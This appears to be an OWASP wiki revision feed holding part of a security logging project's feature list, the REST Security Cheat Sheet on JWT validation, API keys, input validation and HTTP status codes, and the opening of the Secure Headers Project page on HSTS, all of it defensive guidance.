The action is to use string resources so that logs are compatible across languages.  The project will initially define US English.  Designers are encouraged to translate resources to different languages.  If the translations are made available to us we may include them.&lt;br /&gt;
&lt;br /&gt;
==Feature 8, Redirect system streams like System.out and System.err to security logging framework==&lt;br /&gt;
This requirement captures any legacy messaging from older code without refactoring.  The approach redirects any messages to system defined streams into the logging framework.  Log messages will not be a content rich since since the caller, old code in this case, does not calling the Security API directly.  The advantage is instant out of the box compatibility with no refactoring.  In Java, the action is to capture calls like System.out.println(“My wife loves security.”) and System.err() reroute them to the logging framework without modification to legacy programs.&lt;br /&gt;
&lt;br /&gt;
An ancillary requirement is that sensitive key\value pairs will be masked.  A default set of masking rules will be included with the project with an option for designers to assign their own masking rules specific for their applications.&lt;br /&gt;
&lt;br /&gt;
==Feature 9, Asynchronous message logging, store and forward==&lt;br /&gt;
The requirement for this feature one of performance.  Log messages sent to a remote location (e.g., central log server) can take some time to send over networks.  It may be desirable in some deployments for the caller not to block when logging these messages.  The goal is to log the message locally, freeing the caller, then send the message in a background thread to the remote server.   See Feature 15 also.&lt;br /&gt;
&lt;br /&gt;
==Feature 10, Message correlation==&lt;br /&gt;
A problem with logs today is that it’s often difficult to reconstruct a series of activities leading to an event of interest.  System logs are often out of order with messages originating from different threads and hosts.  The goal of message correlation is to provide identifier(s) so that all log messages can be sequenced into a narrative of system activities leading to an event of interest.  For example, with correlation it will be possible to separate log entries to see the activities involved in a single administrative user operation like Add User.  Log entries to add a user may begin with HTTP posts from the clients browser, system permission checks, next a log message describing the insert of the new user into the user table, a log message of positive confirmation a SMTP message was sent to indicate the users new account is ready for initial signon.&lt;br /&gt;
&lt;br /&gt;
==Feature 11, Performance options for transport compression==&lt;br /&gt;
Where log message will transit networks facilities will be provided to compress traffic to remote hosts.&lt;br /&gt;
&lt;br /&gt;
==Feature 12, Authenticated client logging==&lt;br /&gt;
This feature is useful to ensure each message logged is attributable to a known source and trusted source.  Messages from anonymous sources may still be allowed, depending upon system preferences, but authenticated messages will clearly indicate the identity of the source.&lt;br /&gt;
&lt;br /&gt;
==Feature 13, Secure transport==&lt;br /&gt;
To facilitate secure transport a TLS 1.2 compliant connection be negotiated.  Options must be provided to allow designers to control ciphersuite negotiation.  Negotiation options must include provision for, a) the name of each ciphersuite permitted, b) order of negotiation which is ideally strongest suites first as a default but can be changed by the designer.  The trust roots will be those supplied by the supporting language platform (e.g., Java, .NET, etc).&lt;br /&gt;
&lt;br /&gt;
==Feature 14, Signed log messages==&lt;br /&gt;
To facilitate tamper resistant log messages log messages will be signed by the client.  Each field of the log message will be included in the signing process.  The signature will be included with the log message entry along with strongest fingerprint included within signing certificate.  The fingerprint of the signing certificate is an aid to identify the signing certificate and may be important for enterprise or cloud environments where many clients are logging.  Signed logs may or may not be encrypted.&lt;br /&gt;
&lt;br /&gt;
==Feature 15, Guaranteed log message delivery==&lt;br /&gt;
This feature builds upon the Feature 9, Asynchronous message logging, store and forward to include guaranteed delivery.  The goal is that no messages are lost.  Messages received from the caller will be queued for delivery.  Clients logging messages must block until their log message is committed to a queue.  For simplicity, the queue will exist on the client computer.  The function is somewhat analogous to a local print spooler.  If committing to a queue is not possible an instance of a RuntimeException must be thrown to the caller.  Once committed to a queue, worker threads will send the message in the background to the remote server.  On the client, worker threads will not remove the log message from the queue until the server has acknowledged receipt.&lt;br /&gt;
&lt;br /&gt;
From the server side, the server must maintain the client connection until the message is logged.  If the message cannot be logged an instance of an Exception must be thrown.  Using this system no message will ever be lost.  A message will exist in only 3 states, 1) with the blocked client, 2) within the client’s log queue, 3) logged on the server.  For a completely reliable solution, HA hardware and RAID media are required which is a consideration for system designers.&lt;br /&gt;
&lt;br /&gt;
==Feedback==&lt;br /&gt;
Please report any concerns, correction, or other feedback to any of the project leads listed on the main project page.&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Code]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=240730</id>
		<title>REST Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=240730"/>
				<updated>2018-05-16T08:15:43Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct misspellings&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Representational_state_transfer REST] (or REpresentational State Transfer) is an architectural style first described in [https://en.wikipedia.org/wiki/Roy_Fielding Roy Fielding]'s Ph.D. dissertation on [https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm Architectural Styles and the Design of Network-based Software Architectures]. It evolved as Fielding wrote the HTTP/1.1 and URI specs and has been proven to be well-suited for developing distributed hypermedia applications. While REST is more widely applicable, it is most commonly used within the context of communicating with services via HTTP.&lt;br /&gt;
&lt;br /&gt;
The key abstraction of information in REST is a resource. A REST API resource is identified by a URI, usually a HTTP URL. REST components use connectors to perform actions on a resource by using a representation to capture the current or intended state of the resource and transferring that representation. The primary connector types are client and server, secondary connectors include cache, resolver and tunnel. In order to implement flows with REST APIs, resources are typically created, read, updated and deleted. For example, an ecommerce site may offer methods to create an empty shopping cart, to add items to the cart and to check out the cart.&lt;br /&gt;
&lt;br /&gt;
Another key feature of REST applications is the use of standard HTTP verbs and error codes in the pursuit or removing unnecessary variation among different services.&lt;br /&gt;
&lt;br /&gt;
Another key feature of REST applications is the use of HATEOS or Hypermedia as the Engine of Application State. This provides REST applications a self-documenting nature making it easier for developers to interact with a REST service without a priori knowledge.&lt;br /&gt;
&lt;br /&gt;
= HTTPS =&lt;br /&gt;
Secure REST services must only provide HTTPS endpoints. This protects authentication credentials in transit, for example passwords, API keys or JSON Web Tokens. It also allows clients to authenticate the service and guarantees integrity of the transmitted data.&lt;br /&gt;
&lt;br /&gt;
See the [[Transport Layer Protection Cheat Sheet]] for additional information.&lt;br /&gt;
&lt;br /&gt;
Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.&lt;br /&gt;
&lt;br /&gt;
= Access Control =&lt;br /&gt;
Non-public REST services must perform access control at each API endpoint. Web services in monolithic applications implement this by means of user authentication, authorisation logic and session management. This has several drawbacks for modern architectures which compose multiple micro services following the RESTful style. &lt;br /&gt;
* in order to minimise latency and reduce coupling between services, the access control decision should be taken locally by REST endpoints&lt;br /&gt;
* user authentication should be centralised in a Identity Provider (IdP), which issues access tokens&lt;br /&gt;
&lt;br /&gt;
= JWT =&lt;br /&gt;
There seems to be a convergence towards using [https://tools.ietf.org/html/rfc7519 JSON Web Tokens] (JWT) as the format for security tokens. JWTs are JSON data structures containing a set of claims that can be used for access control decisions. A cryptographic signature or message authentication code (MAC) can be used to protect the integrity of the JWT.  &lt;br /&gt;
* Ensure JWTs are integrity protected by either a signature or a MAC. Do not allow the unsecured JWTs: {&amp;quot;alg&amp;quot;:&amp;quot;none&amp;quot;}. See https://tools.ietf.org/html/rfc7519#section-6.1&lt;br /&gt;
* In general, signatures should be preferred over MACs for integrity protection of JWTs.&lt;br /&gt;
If MACs are used for integrity protection, every service that is able to validate JWTs can also create new JWTs using the same key. This means that all services using the same key have to mutually trust each other. Another consequence of this is that a compromise of any service also compromises all other services sharing the same key. See https://tools.ietf.org/html/rfc7515#section-10.5 for additional information.&lt;br /&gt;
&lt;br /&gt;
The relying party or token consumer validates a JWT by verifying its integrity and claims contained.&lt;br /&gt;
* A relying party must verify the integrity of the JWT based on its own configuration or hard-coded logic. It must not rely on the information of the JWT header to select the verification algorithm. See https://www.chosenplaintext.ca/2015/03/31/jwt-algorithm-confusion.html and https://www.youtube.com/watch?v=bW5pS4e_MX8&lt;br /&gt;
Some claims have been standardised and should be present in JWT used for access controls. At least the following of the standard claims should be verified:&lt;br /&gt;
* 'iss' or issuer - is this a trusted issuer? Is it the expected owner of the signing key?&lt;br /&gt;
* 'aud' or audience - is the relying party in the target audience for this JWT?&lt;br /&gt;
* 'exp' or expiration time - is the current time before the end of the validity period of this token?&lt;br /&gt;
* 'nbf' or not before time - is the current time after the start of the validity period of this token?&lt;br /&gt;
&lt;br /&gt;
= API Keys =&lt;br /&gt;
Public REST services without access control run the risk of being farmed leading to excessive bills for bandwidth or compute cycles. API keys can be used to mitigate this risk. They are also often used by organisation to monetize APIs; instead of blocking high-frequency calls, clients are given access in accordance to a purchased access plan. &lt;br /&gt;
&lt;br /&gt;
API keys can reduce the impact of denial-of-service attacks. However, when they are issued to third-party clients, they are relatively easy to compromise.&lt;br /&gt;
* Require API keys for every request to the protected endpoint.&lt;br /&gt;
* Return 429 &amp;quot;Too Many Requests&amp;quot; HTTP response code if requests are coming in too quickly.&lt;br /&gt;
* Revoke the API key if the client violates the usage agreement.&lt;br /&gt;
* Do not rely exclusively on API keys to protect sensitive, critical or high-value resources.&lt;br /&gt;
&lt;br /&gt;
= Restrict HTTP methods =&lt;br /&gt;
* Apply a whitelist of permitted HTTP Methods e.g. GET, POST, PUT&lt;br /&gt;
&lt;br /&gt;
* Reject all requests not matching the whitelist with HTTP response code 405 Method not allowed&lt;br /&gt;
* Make sure the caller is authorised to use the incoming HTTP method on the resource collection, action, and record&lt;br /&gt;
In Java EE in particular, this can be difficult to implement properly. See [http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.&lt;br /&gt;
&lt;br /&gt;
= Input validation =&lt;br /&gt;
* Do not trust input parameters/objects&lt;br /&gt;
* Validate input: length / range / format and type&lt;br /&gt;
* Achieve an implicit input validation by using strong types like numbers, booleans, dates, times or fixed data ranges in API parameters&lt;br /&gt;
* Constrain string inputs with regexps&lt;br /&gt;
* Reject unexpected/illegal content&lt;br /&gt;
* Make use of validation/sanitation libraries or frameworks in your specific language&lt;br /&gt;
* Define an appropriate request size limit and reject requests exceeding the limit with HTTP response status 413 Request Entity Too Large&lt;br /&gt;
* Consider logging input validation failures. Assume that someone who is performing hundreds of failed input validations per second is up to no good.&lt;br /&gt;
* Have a look at input validation cheat sheet for comprehensive explanation&lt;br /&gt;
&lt;br /&gt;
* Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE] and similar attacks.&lt;br /&gt;
&lt;br /&gt;
= Validate content types =&lt;br /&gt;
A REST request or response body should match the intended content type in the header. Otherwise this could cause misinterpretation at the consumer/producer side and lead to code injection/execution.&lt;br /&gt;
* Document all supported content types in your API&lt;br /&gt;
&lt;br /&gt;
== Validate request content types ==&lt;br /&gt;
* Reject requests containing unexpected or missing content type headers with HTTP response status 406 Unacceptable or 415 Unsupported Media Type&lt;br /&gt;
&lt;br /&gt;
* For XML content types ensure appropriate XML parser hardening, see the [[XML External Entity (XXE) Prevention Cheat Sheet|cheat shee]]&amp;lt;nowiki/&amp;gt;t&lt;br /&gt;
&lt;br /&gt;
* Avoid accidentally exposing unintended content types by explicitly defining content types e.g. [https://jersey.github.io/ Jersey] (Java) ''@consumes(&amp;quot;application/json&amp;quot;); @produces(&amp;quot;application/json&amp;quot;)''. This avoids XXE-attack vectors for example.&lt;br /&gt;
&lt;br /&gt;
== Send safe response content types ==&lt;br /&gt;
It is common for REST services to allow multiple response types (e.g. &amp;quot;application/xml&amp;quot; or &amp;quot;application/json&amp;quot;, and the client specifies the preferred order of response types by the Accept header in the request. &lt;br /&gt;
* Do NOT simply copy the Accept header to the Content-type header of the response. &lt;br /&gt;
* Reject the request (ideally with a 406 Not Acceptable response) if the Accept header does not specifically contain one of the allowable types.&lt;br /&gt;
Services including script code (e.g. JavaScript) in their responses must be especially careful to defend against header injection attack.&lt;br /&gt;
* ensure sending intended content type headers in your response matching your body content e.g. &amp;quot;application/json&amp;quot; and not &amp;quot;application/javascript&amp;quot;&lt;br /&gt;
&lt;br /&gt;
= Management endpoints =&lt;br /&gt;
* Avoid exposing management endpoints via Internet.&lt;br /&gt;
* If management endpoints must be accessible via the Internet, make sure that users must use a strong authentication mechanism, e.g. multi-factor.&lt;br /&gt;
* Expose management endpoints via different HTTP ports or hosts preferably on a different NIC and restricted subnet.&lt;br /&gt;
* Restrict access to these endpoints by firewall rules  or use of access control lists.&lt;br /&gt;
&lt;br /&gt;
= Error handling =&lt;br /&gt;
* Respond with generic error messages - avoid revealing details of the failure unnecessarily&lt;br /&gt;
* Do not pass technical details (e.g. call stacks or other internal hints) to the client&lt;br /&gt;
&lt;br /&gt;
= Audit logs =&lt;br /&gt;
* Write audit logs before and after security related events&lt;br /&gt;
* Consider logging token validation errors in order to detect attacks&lt;br /&gt;
* Take care of log injection attacks by sanitising log data beforehand&lt;br /&gt;
&lt;br /&gt;
= Security headers =&lt;br /&gt;
&lt;br /&gt;
To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an &amp;lt;tt&amp;gt;X-Content-Type-Options: nosniff&amp;lt;/tt&amp;gt; to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).&lt;br /&gt;
&lt;br /&gt;
Additionally the client should send an &amp;lt;tt&amp;gt;X-Frame-Options: deny&amp;lt;/tt&amp;gt; to protect against drag'n drop clickjacking attacks in older browsers.&lt;br /&gt;
&lt;br /&gt;
== CORS ==&lt;br /&gt;
Cross-Origin Resource Sharing (CORS) is a W3C standard to flexibly specify what cross-domain requests are permitted. By delivering appropriate CORS Headers your REST API signals to the browser which domains, AKA origins, are allowed to make JavaScript calls to the REST service.&lt;br /&gt;
* Disable CORS headers if cross-domain calls are not supported&lt;br /&gt;
* Be as specific as possible and as general as necessary when setting the origins of cross-domain calls &lt;br /&gt;
In Spring Boot (Java), for example, CORS support is disabled by default and is only enabled once the ''endpoints.cors.allowed-origins'' property has been set. The configuration below permits GET and POST calls from the example.com domain:&amp;lt;blockquote&amp;gt;endpoints.cors.allowed-origins=&amp;lt;nowiki&amp;gt;https://example.com&amp;lt;/nowiki&amp;gt;&amp;lt;/blockquote&amp;gt;&amp;lt;blockquote&amp;gt;endpoints.cors.allowed-methods=GET,POST&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Sensitive information in HTTP requests =&lt;br /&gt;
RESTful web services should be careful to prevent leaking credentials. Passwords, security tokens, and API keys should not appear in the URL, as this can be captured in web server logs, which makes them intrinsically valuable.&lt;br /&gt;
* In POST/PUT requests sensitive data should be transferred in the request body or request headers&lt;br /&gt;
* In GET requests sensitive data should be transferred in an HTTP Header&lt;br /&gt;
OK:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;https://example.com/resourceCollection/&amp;lt;/nowiki&amp;gt;&amp;lt;id&amp;gt;/action&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;https://twitter.com/vanderaj/lists&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOT OK:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;https://example.com/controller/&amp;lt;/nowiki&amp;gt;&amp;lt;id&amp;gt;/action?apiKey=a53f435643de32 (API Key in URL)&lt;br /&gt;
&lt;br /&gt;
= HTTP Return Code =&lt;br /&gt;
HTTP defines status codes [https://en.wikipedia.org/wiki/List_of_HTTP_status_codes].&lt;br /&gt;
When designing REST API, don't just use 200 for success or 404 for error. Always use the semantically appropriate status code for the response.&lt;br /&gt;
&lt;br /&gt;
Here is a non-exhaustive selection of security related REST API status codes. Use it to ensure you return the correct code.   &lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Status code&lt;br /&gt;
!Message&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|200&lt;br /&gt;
|OK&lt;br /&gt;
|Response to a successful REST API action. The HTTP method can be GET, POST, PUT, PATCH or DELETE&lt;br /&gt;
|-&lt;br /&gt;
|201&lt;br /&gt;
|Created&lt;br /&gt;
|The request has been fulfilled and resource created. A URI for the created resource is returned in the Location header&lt;br /&gt;
|-&lt;br /&gt;
|202&lt;br /&gt;
|Accepted&lt;br /&gt;
|The request has been accepted for processing, but processing is not yet complete&lt;br /&gt;
|-&lt;br /&gt;
|400&lt;br /&gt;
|Bad Request&lt;br /&gt;
|The request is malformed, such as message body format error&lt;br /&gt;
|-&lt;br /&gt;
|401&lt;br /&gt;
|Unauthorized&lt;br /&gt;
|Wrong or no authentication ID/password provided&lt;br /&gt;
|-&lt;br /&gt;
|403&lt;br /&gt;
|Forbidden&lt;br /&gt;
|It's used when the authentication succeeded but authenticated user doesn't have permission to the request resource&lt;br /&gt;
|-&lt;br /&gt;
|404&lt;br /&gt;
|Not Found&lt;br /&gt;
|When a non-existent resource is requested&lt;br /&gt;
|-&lt;br /&gt;
|406&lt;br /&gt;
|Unacceptable&lt;br /&gt;
|The client presented a content type in the Accept header which is not supported by the server API&lt;br /&gt;
|-&lt;br /&gt;
|405&lt;br /&gt;
|Method Not Allowed&lt;br /&gt;
|The error for an unexpected HTTP method. For example, the REST API is expecting HTTP GET, but HTTP PUT is used&lt;br /&gt;
|-&lt;br /&gt;
|413&lt;br /&gt;
|Payload too large&lt;br /&gt;
|Use it to signal that the request size exceeded the given limit e.g. regarding file uploads&lt;br /&gt;
|-&lt;br /&gt;
|415&lt;br /&gt;
|Unsupported Media Type&lt;br /&gt;
|The requested content type is not supported by the REST service&lt;br /&gt;
|-&lt;br /&gt;
|429&lt;br /&gt;
|Too Many Requests&lt;br /&gt;
|The error is used when there may be DOS attack detected or the request is rejected due to rate limiting&lt;br /&gt;
|-&lt;br /&gt;
|500 &lt;br /&gt;
|Internal Server Error &lt;br /&gt;
|An unexpected condition prevented the server from fulfilling the request. Be aware that the response should not reveal internal information that helps an attacker, e.g. detailed error messages or stack traces.&lt;br /&gt;
|-&lt;br /&gt;
|501&lt;br /&gt;
|Not Implemented&lt;br /&gt;
|The REST service does not implement the requested operation yet&lt;br /&gt;
|-&lt;br /&gt;
|503&lt;br /&gt;
|Service Unavailable&lt;br /&gt;
|The REST service is temporarily unable to process the request. Used to inform the client it should retry at a later time.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and primary editors  =&lt;br /&gt;
&lt;br /&gt;
Erlend Oftedal - erlend.oftedal@owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Andrew van der Stock - vanderaj@owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu Hsiang Chih- Hsiang_chihi@yahoo.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Johan Peeters - yo@johanpeeters.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Jan Wolff - jan.wolff@owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Rocco Gränitz - rocco.graenitz@owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Secure_Headers_Project&amp;diff=239200</id>
		<title>OWASP Secure Headers Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Secure_Headers_Project&amp;diff=239200"/>
				<updated>2018-04-01T23:25:11Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
[[File:Incubator_banner.jpg| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP Secure Headers Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP Secure Headers Project describes HTTP response headers that your application can use to increase the security of your application. Once set, these HTTP response headers can restrict modern browsers from running into easily preventable vulnerabilities. The OWASP Secure Headers Project intends to raise awareness and use of these headers.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
HTTP headers are well known and also despised. Seeking the balance between usability and security developers implement functionality through the headers that can make your more versatile or secure application. But in practice how the headers are being implemented? What sites follow the best implementation practices? Big companies, small, all or none?&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
We aim to publish reports on header usage stats, developments and changes. Code libraries that make these headers easily accessible to developers on a range of platforms. Data sets concerning the general usage of these headers.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP Secure Headers is free to use. It is licensed under the [https://github.com/oshp/headers/blob/master/LICENSE Apache 2.0 License].&lt;br /&gt;
&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[[User:Riramar | Ricardo Iramar]]&lt;br /&gt;
&lt;br /&gt;
== Project Contributors ==&lt;br /&gt;
&lt;br /&gt;
[[User:Jmanico | Jim Manico]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Amenezes | Alexandre Menezes]]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Application_Security_Verification_Standard_Project | OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project | OWASP Top Ten Project]]&lt;br /&gt;
&lt;br /&gt;
== Quick Links ==&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/oshp/ Project GitHub Organization]&lt;br /&gt;
* [https://hub.docker.com/r/oshp/ Docker Hub Organization]&lt;br /&gt;
* [http://oshp.bsecteam.com Demo [develop preview]]&lt;br /&gt;
* [https://github.com/riramar/hsecscan hsecscan A security scanner for HTTP response headers]&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/owasp_secure_headers_project Project Email List]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [20 Oct 2017] OWASP Secure Headers Project on [https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf | OWASP Top 10 RC2]&lt;br /&gt;
* [14 Mar 2017] [https://hub.docker.com/r/oshp | Docker Hub Organization]&lt;br /&gt;
* [15 Oct 2016] [http://roadsec.com.br/curitiba2016/ | RoadSec Curitiba 2016 Presentation]&lt;br /&gt;
* [20/21 Set 2016] [http://mindthesec.com.br/ricardo-iramar-dos-santos | Mind The Sec 2016 Presentation]&lt;br /&gt;
* [05 Sep 2016] [https://github.com/oshp/ | Project Github Organization]&lt;br /&gt;
* [01 Sep 2016] Included X-Permitted-Cross-Domain-Policies header&lt;br /&gt;
* [14 Dec 2015] Reborn from the ashes&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:New projects.png|100px|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_CODE.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Headers=&lt;br /&gt;
&lt;br /&gt;
The following contains a list of HTTP response headers related to security.&lt;br /&gt;
&lt;br /&gt;
==Response Headers==&lt;br /&gt;
&lt;br /&gt;
* [[#hsts | HTTP Strict Transport Security (HSTS)]]&lt;br /&gt;
* [[#hpkp | Public Key Pinning Extension for HTTP (HPKP)]]&lt;br /&gt;
* [[#xfo | X-Frame-Options]]&lt;br /&gt;
* [[#xxxsp | X-XSS-Protection]]&lt;br /&gt;
* [[#xcto | X-Content-Type-Options]]&lt;br /&gt;
* [[#csp | Content-Security-Policy]]&lt;br /&gt;
* [[#xpcdp | X-Permitted-Cross-Domain-Policies]]&lt;br /&gt;
* [[#rp | Referrer-Policy]]&lt;br /&gt;
* [[#ect | Expect-CT]]&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;hsts&amp;quot;&amp;gt;HTTP Strict Transport Security (HSTS)&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol [https://en.wikipedia.org/wiki/Downgrade_attack downgrade attacks] and [https://www.owasp.org/index.php/Session_hijacking_attack cookie hijacking]. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797. A server implements an HSTS policy by supplying a header (Strict-Transport-Security) over an HTTPS connection (HSTS headers over HTTP are ignored).&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| max-age=SECONDS&lt;br /&gt;
| The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS.&lt;br /&gt;
|- &lt;br /&gt;
| includeSubDomains&lt;br /&gt;
| If this optional parameter is specified, this rule applies to all of the site's subdomains as well.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;Strict-Transport-Security: max-age=31536000 ; includeSubDomains&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://tools.ietf.org/html/rfc6797&lt;br /&gt;
* https://www.owasp.org/index.php/HTTP_Strict_Transport_Security&lt;br /&gt;
* https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)&lt;br /&gt;
